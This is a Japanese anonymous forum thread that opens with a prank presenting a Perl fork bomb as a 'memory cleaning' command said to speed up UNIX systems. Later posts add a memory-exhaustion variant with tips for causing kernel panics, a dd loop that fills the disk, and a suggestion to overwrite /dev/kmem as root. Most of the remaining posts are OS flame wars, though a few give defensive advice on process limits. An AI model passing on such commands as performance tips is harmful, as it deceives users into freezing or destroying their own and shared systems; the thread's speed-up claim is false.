簡単！メモリクリーニング

1 名前：名無しさん＠お腹いっぱい。 [03/06/19 01:31] UNIX系技術者にとってはほぼ常識ですが、簡単にUNIX系OSの メモリを簡単にクリーニングできます。やり方は、コマンドラインで、 $ perl -e 'while (1) { fork; }' とタイプするだけです。 これでディスクキャッシュになっていたメモリが解放されて、 若干処理が軽くなります。Webサーバ等では数％レスポンスが よくなります。GUIを使っている場合では体感的に早くなったと わかるでしょう。 501 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/12/02 19:19] 知ってる人ｷﾀ━ヾ(　 　)ﾉ゛ヾ(　ﾟд)ﾉ゛ヾ(ﾟдﾟ)ﾉ゛ヾ(дﾟ　)ﾉ゛ヾ(　　)ﾉ゛━━!! じゃあ、そのイジメかたとやらを書いてみてはいかが？ 502 名前：_ mailto:sage [03/12/02 23:36] userland で簡単なのは実際にメモリを使えばいいわけだから perl -e 'while(1){local($time)=time; fork;}' かな？　とりあえず使い切るまでメモリつかってくれるはず。 途中で新プロセスがメモリ使えなくなってkillされるけど、懲りずに つづけてれば既存processやdaemon processで新規ページがとれずに そっちがkillされはじめるよ。 limitでプロセス制限かかってるなら、消費するメモリサイズを大きめに とること。逆にいうと、管理者はdatasizeとmaxprocを適切に管理する事。 503 名前：_ mailto:sage [03/12/02 23:43] また、古い（いまも残ってる）system だと datasizeはexecとmmap時にしか 参照しないんで、datasizeよりちょい少なめでmallocかけると実際にメモリ （Swap込み）が足りなくても allocateは成功する。 で、古いvm（mach64 vmベースでいまも残ってるかも）だと page 使い切った 時点で panic するから、これやるとかたまるどころかkernel panicまで もちこめるよ。 ためしてみそ。 504 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/12/03 01:36] ためしてみそといわれても、さすがに古いシステムさがすの大変なんだが 505 名前：名無しさん＠お腹いっぱい。 [03/12/03 16:06] リナックスは落ちる糞OS！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！ 506 名前：名無しさん＠お腹いっぱい。 [03/12/03 17:46] ウィンドウズは何もしなくても落ちる糞OS！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！ 507 名前：名無しさん＠お腹いっぱい。 [03/12/05 20:33] メモリの掃除ぐらいしろ 508 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/12/07 12:25] ぼくの部屋も掃除が必要です。 509 名前：名無しさん＠お腹いっぱい。 [03/12/08 15:37] 害虫駆除業者が必要です。 510 名前：名無しさん＠お腹いっぱい。 [03/12/10 14:57] リナックスはうんこ そろそろ認めろよ 511 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/12/10 15:03] じゃ、なにが、もすすめだね？ 512 名前：名無しさん＠お腹いっぱい。 [03/12/10 16:25] Ｗｉｎｄｏｗｓ 513 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/12/10 16:26] >>512 せめてLinux以上の物を言ってくれ 514 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/12/10 19:15] ソラリスは？ 515 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/12/10 19:28] LinuxがいつWindows以上になったんだ？ 516 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/12/11 02:02] >>515 激しく同意。 517 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/12/11 03:39] >>515 そういう事は、MSがマトモなOS作ってから言いましょうね。 Windowsと比較するのは、他のOSにとって失礼に値しますよ。 Winマンセーなら窓板だけでやっててください。 518 名前：名無しさん＠お腹いっぱい。 [03/12/11 03:42] いや、そもそもWindowsに安定性求めるなんて筋違いもいいところだよ むしろWindowsにそんな求める連中は死んでくれ。 売れたもんが正義なんだよ。 519 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/12/11 04:03] ぶっちゃけ負荷耐性と安定性はWindowsは今のところ最低レベル。 他のOSが特別凄いんじゃなくて、Windowsが異常にダメ。 スケーラビリティも最悪、そもそもOSレベルで要求するスペックが高すぎてお話にならない。 どんなに資源増やしてもあっという間に食いつくしてしまう点も最悪 犬叩きしたいなら、せめてFreeBSDか商用Unixとの比較じゃないと無理。 それに何も負荷耐性だの安定性だので勝負しなくても、WindowsはGUI周りのパフォーマンスは今のところ一番高いし、UIはそこそこ扱い易いし クライアント用OSとしてはデファクトスタンダードだし とくに引け目を感じる事はないと思うけどね。 個人で使う分にはスケーラビリティも安定性も負荷耐性も特に気にする必要ないし 高負荷になって落ちても、気にせず再起動すればいいんだし 不正終了してファイル壊れたって気にしないでフォーマットして再インスコしちゃえばいいんだしさ。 脆弱性の事だって、こんだけセキュリティについて騒がれてるのに そんな事は一切気にせず穴だらけのままWindows updateしない人だっているんだから Windowsユーザー内に限っては脆弱性なんて殆ど問題視されてないともいえる。 だから穴だらけでも全然OKなんだから気にする事はない。 ただ周りが迷惑するだけなんだから、MSを見習って細かい事は気にせず周りに迷惑かかっても知ったこっちゃねーよくらいの勢いのほうがいい。 520 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/12/11 04:11] >個人で使う分にはスケーラビリティも安定性も負荷耐性も特に気にする必要ないし 何よりＭ＄が気にしていない罠 521 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/12/12 18:47] >個人で使う分にはスケーラビリティも安定性も負荷耐性も特に気にする必要ないし >高負荷になって落ちても、気にせず再起動すればいいんだし その感覚を最大限に刷り込まれた馬鹿どもが、サービス機材を安易に リセットしたがるようになったのは最低に痛いよ。 原因探れないから予防策もとれねー。 522 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/12/12 20:14] >>521 そういうのはMSがいる限りどうしようもないと思ってあきらめれ 523 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/12/13 03:03] >>521 まあ、Windows 95,98のころに「Windows おかしくなったら　再起動」という習慣がついていた人は多いだろうからね。 実際、当時は24時間連続稼動するのはほとんど行われていなかったと思うし。 余談だけれどPCでUnixもどきOSを動かすのが普及したからか、 教育用UnixマシンをX端末から使っている学生が 「家のLinuxでログアウトするときはshutdown -h nowって打ってるんですけど、ここのは打っても変なメッセージが出てきてログアウトできないんですけど」 と言ったのには驚いた。 shutdownのコマンドの意味について小一時間ほどお説教したのは言うまでもないことだが。 524 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/12/13 04:08] >まあ、Windows 95,98のころに「Windows おかしくなったら　再起動」という習慣がついていた人は多いだろうからね。 つーか、今も昔もそれは常識。 おかしくなったら再起動 壊れたかなと思ったら再インスコ 一番手っ取り早くて、確実 誰も迷わないし、下手に苦労するよりも解決は早い マメにバックアップとっておけばデータの復旧も楽。 ユーザーに手段を与えず、作業を単一化してしまうことで 無駄な問題の発生を抑えてる。 525 名前：名無しさん＠お腹いっぱい。 [03/12/14 15:21] ＬＩＮＵＸは落ちまくり！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！ 526 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/12/14 16:15] 必死だな 527 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/12/15 12:47] Mac　OSXも糞重くなったけど落ちませんね。 528 名前：名無しさん＠お腹いっぱい。 [03/12/16 17:33] ＬＩＮＵＸはゴミ！ 529 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/12/16 19:35] お受験のお子さんのお守りにMac OS X、 片思いのお子さんのお守りにLinuxいかがですか。 今ならどちらもお求め安くなっていますよ。 530 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/12/16 19:41] 32bit藁人形 = Windows 16bit藁人形 = DOS 531 名前：名無しさん＠お腹いっぱい。 [03/12/18 15:30] >>1 自分のPCでは一日一回実行してる。 532 名前：名無しさん＠お腹いっぱい。 [03/12/21 15:20] 嘘つきぃ… 533 名前：名無しさん＠お腹いっぱい。 [03/12/30 21:51] リナックスはょわぃ 534 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/12/30 22:22] Windowsは直ってないバグの数とセキュリティホール,そして一年間の再起動の回数で最強 どれも最多 535 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/12/30 22:33] 「Windowsは」ってひとくくりにできるDQNなセンスに乾杯 536 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/12/30 22:36] 「リナックスは」ってひとくくちにできるDQNなセンスに乾杯 537 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/12/30 22:37] ひとくくち × ひとくくり ◯ 538 名前：名無しさん＠お腹いっぱい。 mailto:sage [03/12/31 05:11] 再起動の回数は最強だな。 539 名前：名無しさん＠お腹いっぱい。 [04/01/02 21:07] 2004年 Windowsに超高速再起動が実装されるであろう。 540 名前：名無しさん＠お腹いっぱい。 mailto:sage [04/01/02 21:13] >>539 いや、一端メモリ内容をファイルに退避させたのち 全てのメモリを一時的に開放 そしてそのままの状態でkernelの再マッピングを行うようになるだろ。 オンデマンドリブート？ 541 名前：名無しさん＠お腹いっぱい。 [04/01/06 15:42] 2004年宇宙の旅 542 名前：名無しさん＠お腹いっぱい。 [04/01/10 13:12] あああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああああ 543 名前：名無しさん＠お腹いっぱい。 [04/01/12 20:37] メモリクリーニング屋はどこですか？ 544 名前：名無しさん＠お腹いっぱい。 [04/01/16 00:32] >>1 >>1 >>1 >>1 >>1 >>1 >>1 545 名前：名無しさん＠お腹いっぱい。 mailto:sage [04/01/16 01:26] >>539 そうかもね。BIOS もなくなりそうだし。 546 名前：名無しさん＠お腹いっぱい。 mailto:sage [04/01/16 02:37] 超高速再起動なんていらんから OSが原因で再起動しなきゃいけないようなケースが発生しないようにしてくれ 547 名前：名無しさん＠お腹いっぱい。 [04/01/18 20:33] 不可能 548 名前：名無しさん＠お腹いっぱい。 mailto:sage [04/01/18 20:36] じゃあせめてWindowsUpdateで当てたパッチのせいで 新しいバグ埋め込まないでくれ 549 名前：こんなジョークを思い出した mailto:sage [04/01/18 21:01] ランプの魔人は語りました。 「ご主人様、あなたを世界一の富豪にして差し上げましたし、苦労して嫁も見つけました。 三つ目の願いはなんですか？」 ゲイツはもう十分に幸福だったので、たまには国家の役に立とうと考えました。 「ベトナム戦争でアメリカが勝ったことにしたいんだけど」 魔人は困惑して言います。 「それは無理ではないかと」 「そうか、じゃあ１バージョンだけでいいから、完璧に動くWindowsが欲しいな」 魔人は泣きそうな顔で答えます。 「ご主人様、お願いですからベトナム戦争の方の願いに変えていただけませんか？」 550 名前：名無しさん＠お腹いっぱい。 mailto:sage [04/01/18 21:27] ゲイツがやる気になっても完璧に動くWindowsはできないだろうけど CTO(が誰かは知らん)あたりが、「金と人手と手間をいくらかけてもいいから完璧な物をつくれ、責任は全部 俺がとる」とか言いだしたら ちゃんとした物は作れるだろ MSなら。 有能な人材はちゃんと確保してるはずだしな。 作ってる最中に、CEOとかCFOとかCMOあたりの目についたら CTOの首ぶっとんだ挙句に、これまで以上に酷い物に化けそうな悪寒はするが。 551 名前：名無しさん＠お腹いっぱい。 [04/01/18 21:31] まあ、MSさんも商売ですから 買う側もMSさんは商売をしている事を理解すべきでしょ 強制的に買わされてる現状がムカツク人はしかたないけど 552 名前：名無しさん＠お腹いっぱい。 [04/01/20 19:52] しかたないのか… 553 名前：名無しさん＠お腹いっぱい。 mailto:sage [04/01/20 21:00] メーカー製PC買っちゃう人は仕方ないんじゃね？ 今は自作したって特別安くあがるわけじゃないし 554 名前：名無しさん＠お腹いっぱい。 [04/01/23 14:50] 2マソ 555 名前：名無しさん＠お腹いっぱい。 mailto:sage [04/01/25 03:33] >>550 CTOだから飛ばされる可能性があるわけで、逆にゲイツが本気で やろうと思えばできるんじゃない ? 完全じゃないけど、今よりはるかにまともなモノはできると思う。 556 名前：名無しさん＠お腹いっぱい。 mailto:sage [04/01/25 04:40] >>555 ﾊﾞｶ？ ゲイツﾀｿは今や会長 MSを一代にして叩きあげた英雄としてのシンボル的価値は十二分にあるが 権利は微妙、経営に口出したとしても「アドバイス」にしかならない。 強制力は全くないよ。 実質的なリーダーはCEOのｷﾁｶﾞｲバルマーだよ。 つまり彼がやると言わない限りｹﾞｲｼがいくら必死にお願いしてもダメポ。 ゲイツが株主連中に働きかける→株主がMSに圧力をかける→バルマーﾀｿはやるしかない っていう周りくどい方法じゃないと今のゲイツﾀｿの力では動かせんだろな。 それに注力しなくてもWindowsは自動的に売れている現状で、わざわざコスト掛けてまで 本質的な改良を行なう価値を株主連中が理解できるかってのも微妙。 何でもいいからとにかく機能増やしながらバージョン上げていけばオッケーでしょう という結論に落ち着いちゃう可能性が濃厚。 #今もそうだし… バルマーのいかれた脳味噌が突如変貌して、Windowsを世界最良のOSにしようとか本気で言いださない限り無理だろね。 557 名前：名無しさん＠お腹いっぱい。 [04/01/25 16:28] 結局ゲイツの力は偉大という事か。 558 名前：名無しさん＠お腹いっぱい。 [04/01/25 22:40] >>556 いやあ、あいつはカリスマ性があるから(一代で超巨大企業を作り上げた天才だからね)、 みんなゲイツについていくよ なんだかんだいって、Windowsはたたかれた点を修正してより良くなってるし Linux使いは、そもそもLinuxに統合デスクトップやらGUI環境やら直感的で簡単な操作を求めないし、 統一的なAPIや開発環境も求めない またボランティアに頼るという開発体制からWindowsの技術革新と進化のスピードに追いつけないでしょうね Microsoftは、Linuxに対抗するために、WindowsをLinuxよりはるかに速い速度で進化させ、 Linuxの追随を許さない、先行逃げ切り型の勝負に出たと思うね 559 名前：名無しさん＠お腹いっぱい。 mailto:sage [04/01/25 22:43] なんでゲイツﾏﾝｾｰって嘘吐きが多いんですか？ それとも危い薬とかやってるんですか？ 560 名前：名無しさん＠お腹いっぱい。 mailto:sage [04/01/25 22:49] >>558は、MSに対する皮肉か？ そんなありもしない事書いても皮肉にしか見えんぞ。 OS板かどっかで 「Windowsは世界最高の安定性と性能を誇り、信頼性抜群。メーカーサポートも充実云々」とかいう書き込みがあったが それと同じくらい皮肉に満ちてる。 あんまりMSイジメるなよ。優良メーカとは言えないけど あっちだって商売なんだから叩くなって。 561 名前：名無しさん＠お腹いっぱい。 mailto:sage [04/01/26 02:23] >>558 主要なLinux開発者はIBMとかの社員として企業から金もらってやってるわけだが。 それでもボランティアといえるのかい? 562 名前：名無しさん＠お腹いっぱい。 mailto:sage [04/01/26 03:34] >>561 IBMだけじゃなくて OSDLも社員雇ってるし Redhatも SuSE(今はNovell)も 金出して開発しとるよ。 SGIもHPも自分のとこの社員をLinux開発に使ってるね。 FSFも一応金かけてやってるよ。 昔からそうだが、Linuxの開発にしてもGNUプロジェクトにしても ネット上から不定期に協力してくれるボランティアと FSFなりOSDLなりに常駐して仕事してくれる社員(or バイト or 契約社員)どっちも居る。 ちなみにOSDLは色んなとこから出資を得てるしグッズ販売等の資金源もあるから 金はそこそも持ってるので結構懐は暖い。 ドイツなんかは国をあげてKDEの開発に協力してるしなぁ。 各社が睨みあいながら独自に開発費かけてOSの開発競争するよりは それぞれ適当な金額とある程度の人員をだしあって 基礎部分は共有しちゃいましょうや的な狙いが強いね。 そもそも基礎部分なんてユーザからしてみりゃなんでもいいんだし。 ちなみにMSも"口だけなら"、それに大賛成しとるよ。 各社がいがみあって似たりよったりな物を作りながら不毛な競争するよりは 共有できる部分は共有してより高次を目指しましょーユビキタスマンセーってね。 ただし言ってる事とやってる事が真逆すぎてﾜｹ ﾜｶ ﾗﾝ♪ 563 名前：名無しさん＠お腹いっぱい。 [04/01/28 12:19] ゲイツﾏﾝｾｰ ゲイツﾏﾝｾｰ ゲイツﾏﾝｾｰ 564 名前：名無しさん＠お腹いっぱい。 [04/01/30 13:42] 1日1回メモリクリーニング 565 名前：名無しさん＠お腹いっぱい。 [04/01/31 16:35] ゲイツの防衛費は日本の防衛費より多いらしい。 566 名前：名無しさん＠お腹いっぱい。 [04/02/02 03:10] >>1 氏ね 567 名前：名無しさん＠お腹いっぱい。 [04/02/02 04:30] あれっ？skoも参加してなかったか？ 568 名前：名無しさん＠お腹いっぱい。 [04/02/04 14:52] sco? 569 名前：名無しさん＠お腹いっぱい。 [04/02/07 14:54] >>1は神 570 名前：名無しさん＠お腹いっぱい。 mailto:sage [04/02/07 16:43] ●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●● ●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●● ●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●● ●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●● ●●●●●●●●●●●●●●●●不合格●●●●●●●●●●●●●●●●● ●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●● ●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●● ●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●● ●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●● ●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●●● これを見た人は確実に【不合格】です。これをコピペでどこかに３回貼れば回避できます。 これは本当です。やらないと一年無駄になります 571 名前：名無しさん＠お腹いっぱい。 [04/02/08 23:42] 1のコマンドを実行しましたが 画面が止まったままです ディスクキャッシュが多くてクリーニングに時間かかってんのかな? かれこれ30分待ってます どれくらいレスポンスが良くなったのか楽しみです 早くクリーニング終わらないかな 572 名前：名無しさん＠お腹いっぱい。 [04/02/09 00:21] わらた 573 名前：名無しさん＠お腹いっぱい。 [04/02/12 17:46] >>571 グッジョブ 574 名前：名無しさん＠お腹いっぱい。 [04/02/14 16:21] for i in `ps ax | grep perl | cut -f1 -d" " ` 575 名前：名無しさん＠お腹いっぱい。 [04/02/16 17:38] メモリーパッククリーニング 576 名前：名無しさん＠お腹いっぱい。 [04/04/21 00:51] 保守age 一日一回メモリークリーニング 577 名前：名無しさん＠お腹いっぱい。 [04/08/30 01:05] dirlist="a b c d e f g h i j k l m n o p q r s t u v w x y z" for i in $dirlist ; do mkdir -p $i cd $i for j in $dirlist ; do dd if=/dev/zero of=file_$j bs=1024k count=100 done done 578 名前：名無しさん＠お腹いっぱい。 mailto:sage [04/09/06 01:35] >>1 WindowsXP + cygwin + perl で試してみました。 Pen4 1.8GHz + Memory 1GB 物理メモリを食いつぶすまでは動作が緩慢になるだけ スワップを開始すると完全に固まる スワップ領域が1GB以上あったのでかたまりっぱなし さらに途中でスワップ領域を増やすと宣告される 操作不能。マウスは一応動くが。。。Ctrl+Alt+Del不可 そのうちコンソール上に、エラーがぞろぞろ発生。 そして増やしたスワップ領域をも食いつくし 「アプリケーションの初期化に失敗しました。」でperlのプロセスが終了 その後、Ctrl+Alt+Delで予約してあったタスクマネージャー起動 結論：Ctrl+Alt+Del使えね〜 579 名前：名無しさん＠お腹いっぱい。 mailto:sage [04/09/14 00:22:00] 報告 赤帽ES3　Pen4/１G/SCSI40GB　うｐデート済 Xでマウスカーソル動かず コンソール打てず 止められず、勝手に固まる 死亡 以上 580 名前：名無しさん＠お腹いっぱい。 mailto:sage [04/09/18 19:06:36] ちょっとageますよ 581 名前：名無しさん＠お腹いっぱい。 [04/09/18 19:06:57] あがってねー 582 名前：名無しさん＠お腹いっぱい。 mailto:sage [04/10/05 18:21:16] Solaris10 固まった 駄目ぽ 583 名前：名無しさん＠お腹いっぱい。 [04/10/20 18:56:07] 毎日メモリクリーニング 584 名前：名無しさん＠お腹いっぱい。 [04/11/11 22:47:54] age 585 名前：名無しさん＠お腹いっぱい。 [04/11/11 22:50:35] だれか root で # dd if=/dev/zero of=/dev/kmem bs=...... てなことを, やってみてほしい 586 名前： ◆ogaWFi0wUo mailto:sage [04/11/12 11:58:47] >>571 どんなかんじ？ 587 名前：名無しさん＠お腹いっぱい。 mailto:sage [04/11/12 21:27:40] いい感じ。 588 名前： ◆ogaWFi0wUo mailto:sage [04/11/13 07:41:50] >>587 いい感じにまだ最適化中ですか？ 589 名前：名無しさん＠お腹いっぱい。 mailto:sage [04/11/23 04:28:19] このｽﾚﾜﾛﾀ 昔ネズミ講式にforkさせてしまって 悲しいビープ音と共に、あっと今にソラリスを止めてしまったことが・・ 590 名前：名無しさん＠お腹いっぱい。 mailto:sage [04/11/28 16:05:24] Solarisでやるとユーザーでもrootでも完全に固まるね。 Solarisはこういうのには弱いのか？ 591 名前：名無しさん＠お腹いっぱい。 [2005/05/07(土) 17:56:55 ] 保守 592 名前：名無しさん＠お腹いっぱい。 [2005/05/08(日) 01:59:36 ] ここって釣りスレ？ rm -rf / のような？ 593 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/05/08(日) 17:22:56 ] > 学生Aが「端末のしぼうするぷろぐらむ」 を友人からもらい実行した． > これは，サーバに負荷をかけて使用不能にするもので，同じサーバを利用していた > ユーザ数十人が影響をうけた． ttp://www.ecc.u-tokyo.ac.jp/guide/guidance/ ttp://www.ecc.u-tokyo.ac.jp/guide/guidance/perl.html 594 名前：名無しさん＠お腹いっぱい。 [2005/05/08(日) 21:10:46 ] だれか削除依頼お願いします。 595 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/05/08(日) 21:32:40 ] 情報の信頼性について実践的な研究をするスレですので削除してはいけません。 596 名前：名無しさん＠お腹いっぱい。 [2005/05/08(日) 22:13:15 ] じゃあ、埋めるか。 597 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/05/08(日) 22:48:43 ] 問題の本質がわかっていないようだけど、solaris でも Linux でも *BSD でも OS の設定で回避できる。 多人数で使う任意のプログラムが走るサーバで対策していない管理者はノータリン。 商用のレンタルサーバだと >>1 のようなプログラムに対して割と高い確立で対策してある。 598 名前：名無しさん＠お腹いっぱい。 [2005/05/08(日) 23:27:56 ] >>597 具体的にどんな？ 599 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/05/09(月) 00:17:10 ] >>598 linux だとここの設定を変えてユーザが起動できるプロセス数を制限する。 /etc/security/limits.conf solarisや*BSDでも同様の設定がある。OpenBSDだとデフォルトで小さい 値で制限されている。 あと perl で fork 自体できなくするのはレンタルサーバだとよくある。 600 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/05/09(月) 00:27:22 ] >>599 thx。ちなみにどうやってperlでfork()出来なくするの？

---

---

[ 続きを読む ] / [ 携帯版 ]

read.cgi ver5.27 [feat.BBS2 +1.6] / e.0.2 (02/09/03) / eucaly.net products.
担当:undef